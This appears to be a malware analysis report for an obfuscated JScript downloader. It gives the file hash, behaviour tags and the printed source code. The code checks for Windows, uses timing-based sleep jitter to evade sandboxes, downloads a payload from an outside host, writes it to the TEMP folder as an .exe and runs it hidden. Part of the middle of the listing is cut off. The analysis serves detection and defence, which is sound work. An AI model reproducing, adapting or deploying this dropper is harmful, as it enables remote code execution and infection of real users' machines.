20160328_c9d45727b6a9b82c347639da0e1bc32d.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256e81611564f3668411f0fdfac19b48c1a07723d8e4e76d755d20dd0eb92d47a7d
Evidence
1var Rlvucl = false;
2var Izunecn = "CreateObject";
3var Olkprtc = function Rdzzwj() {return WScript[Izunecn]("WScript.Shell");}();
4var Zumdcneac = 123213;
5var Lqkmkn = "MSXML2.XMLHTTP";
6var Bxhwqs = 2123213;
7var Mgvdvhic = 0;
8function Gimzeem(Oqnblwhrv){Olkprtc["Run"](Oqnblwhrv, Mgvdvhic, Mgvdvhic);};
9function Lmrvtoaw(){return Lqkmkn;};
10function Hfofs(Esvbyuxwq, Jlzyby){return Esvbyuxwq - Jlzyby;};
11function Qacccnrkp(){return Izunecn;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Rlvucl = true;
15 @end
16@*/
17var Erhrynl = "";
18if (Rlvucl)
19{
20function Pjbjngnepu(){return 22;};
21var Yaehgalvp = 0; var Sdijp = 0;
22function Wtnikbmx()
23{
24var Yfysom = new this["Date"]();
25var Rhxlid = Yfysom["getUTCMilliseconds"]();
26WScript["Sleep"](Pjbjngnepu());
27var Yfysom = new this["Date"]();
28var Oyfuyov = Yfysom["getUTCMilliseconds"]();
29WScript["Sleep"](Pjbjngnepu());
30var Yfysom = new this["Date"]();
31var Jzyagt = Yfysom["getUTCMilliseconds"]();
32var Yaehgalvp = "Hbjrecw";
33Yaehgalvp = Hfofs(Oyfuyov, Rhxlid);
34var Sdijp = "Puaee";
35Sdijp = Hfofs(Jzyagt, Oyfuyov);
36Erhrynl = "open";
37return Hfofs(Yaehgalvp, Sdijp);
38}
39var Xahtu = false;
40var Wpfaftfdil = false;
41for (var Xvdzynclw = Mgvdvhic; Xvdzynclw < Pjbjngnepu() * 1; Xvdzynclw++){if (Wtnikbmx() != Mgvdvhic) …
49:4… (Xahtu && Hnjmfub() && Wpfaftfdil){
50function Iqnovon() {return Olkprtc["ExpandEnvironmentStrings"]("%TEMP%/") + "5cBVeIo8L8j.exe";};
51 Lwljhjhc = Lmrvtoaw();
52 Qmdommyde = WScript[Izunecn](Lwljhjhc);
53 var Puglp = 1;
54 while (Puglp){
55try {
56Qmdommyde[Erhrynl]("GET", "http://happyweek.us/kei3a", false);
57Qmdommyde["send"]();
58Adqhxnjb = "Sleep";
59do {WScript[Adqhxnjb](Pjbjngnepu() * 11)} while (Qmdommyde["readystate"] < 4 );
60Puglp = Mgvdvhic;
61} catch(Tyfthlyyr){Puglp = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Wefsnc(Rmetqnuo) {var Ggyez = (1, 2, 3, 4, 5, Rmetqnuo); return Ggyez;};
64Usbhviddja = WScript[Qacccnrkp()]("ADODB.Stream");
65Lwljhjhc = Usbhviddja;
66Lwljhjhc[Erhrynl]();
67Lwljhjhc["type"] = Wefsnc(1);
68Lwljhjhc["write"](Qmdommyde["ResponseBody"]);
69Usbhviddja["position"] = Wefsnc(Mgvdvhic);
70Lwljhjhc["SaveToFile"](Iqnovon(), Wefsnc(2) );
71Usbhviddja["close"]();
72Gimzeem(Iqnovon());
73}
74}
75